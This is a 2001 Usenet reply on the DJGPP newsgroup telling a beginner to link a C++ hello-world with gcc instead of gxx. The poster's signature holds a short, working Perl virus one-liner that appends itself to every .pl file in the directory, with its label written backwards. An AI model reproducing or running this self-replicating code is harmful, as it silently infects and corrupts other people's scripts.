From: rpolzer AT web DOT de (Rudolf Polzer) Newsgroups: comp.os.msdos.djgpp Subject: Re: Newbie with invalid argument References: <20010217111622 DOT 24753 DOT 00001357 AT ng-fl1 DOT aol DOT com> X-newsgroup: comp.os.msdos.djgpp X-Mailer: GehtDichNenScheissdreckAn 1.0 User-Agent: GehtDichNenScheissdreckAn 1.0 Message-ID: User-Agent: slrn/0.9.6.2 (Linux) Date: Sat, 17 Feb 2001 19:54:53 +0100 Lines: 21 NNTP-Posting-Host: 213.6.47.77 X-Trace: 982435448 news.freenet.de 3501 213.6.47.77 X-Complaints-To: abuse AT freenet DOT de To: djgpp AT delorie DOT com DJ-Gateway: from newsgroup comp.os.msdos.djgpp Reply-To: djgpp AT delorie DOT com MDPease schrieb Folgendes: > I am new to C++ and i have compiled the hello world program fine but when i try > to link or build it it comes up with an error message. > > gxx -o hello.exe hello.o > rename of hello.o to hello.exe failed. > the error was: invalid argument (ENIVAL) You have to run gcc: gcc -o hello.exe hello.o Or, if you only have one .cpp file: gcc -o hello.exe hello.cpp -- #!/usr/bin/perl eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X $0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"}); ####################### http://learn.to/quote #######################